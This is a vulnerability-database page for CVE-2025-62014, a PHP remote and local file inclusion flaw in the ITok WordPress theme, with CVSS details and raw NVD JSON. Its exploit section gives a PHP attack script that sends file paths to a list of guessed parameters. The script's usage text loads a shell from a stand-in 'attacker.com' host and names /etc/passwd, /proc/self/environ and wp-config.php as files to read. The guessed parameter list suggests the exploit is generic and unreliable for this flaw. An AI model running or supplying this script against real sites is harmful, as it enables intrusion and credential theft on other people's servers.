Security Vulnerability Report
中文
CVE-2025-62014 CVSS 8.1 HIGH

CVE-2025-62014

Published: 2025-11-06 16:16:08
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ApusTheme ITok itok.This issue affects ITok: from n/a through <= 1.1.42.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ITok Theme <= 1.1.42 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-62014 PoC - ITok Theme Remote/Local File Inclusion * Affected: ApusTheme ITok WordPress Theme <= 1.1.42 * CVSS: 8.1 (High) * * Usage: * 1. Remote File Inclusion: php poc.php http://target.com /path/to/malicious * 2. Local File Inclusion: php poc.php http://target.com /etc/passwd */ error_reporting(0); if ($argc < 3) { echo "Usage: php {$argv[0]} <target_url> <file_path_or_url>\n"; echo "Example (RFI): php {$argv[0]} http://victim.com http://attacker.com/shell.txt\n"; echo "Example (LFI): php {$argv[0]} http://victim.com /etc/passwd\n"; exit(1); } $targetUrl = rtrim($argv[1], '/'); $filePath = $argv[2]; // Common vulnerable parameters in ITok theme $vulnerableParams = [ 'template', 'page', 'file', 'include', 'load', 'view', 'action', 'controller' ]; echo "[*] CVE-2025-62014 PoC - ITok Theme File Inclusion\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] File to include: {$filePath}\n\n"; // Try each parameter foreach ($vulnerableParams as $param) { $exploitUrl = "{$targetUrl}/?{$param}={$filePath}"; echo "[+] Testing parameter: {$param}\n"; echo "[+] URL: {$exploitUrl}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploitUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 PoC Scanner'); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[!] Potential vulnerability detected with parameter: {$param}\n"; echo "[!] HTTP Code: {$httpCode}\n"; if (strpos($filePath, '/etc/') !== false || strpos($response, 'root:') !== false) { echo "[+] LFI Successful - File contents leaked!\n"; echo "---Response Preview---\n"; echo substr($response, 0, 500) . "...\n"; } break; } } echo "\n[*] Scan complete. Manual verification recommended.\n"; echo "[*] For RFI, ensure your server serves the malicious PHP file.\n"; echo "[*] For LFI, try: /etc/passwd, /proc/self/environ, wp-config.php\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62014", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:08.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ApusTheme ITok itok.This issue affects ITok: from n/a through <= 1.1.42."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/itok/vulnerability/wordpress-itok-theme-1-1-42-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}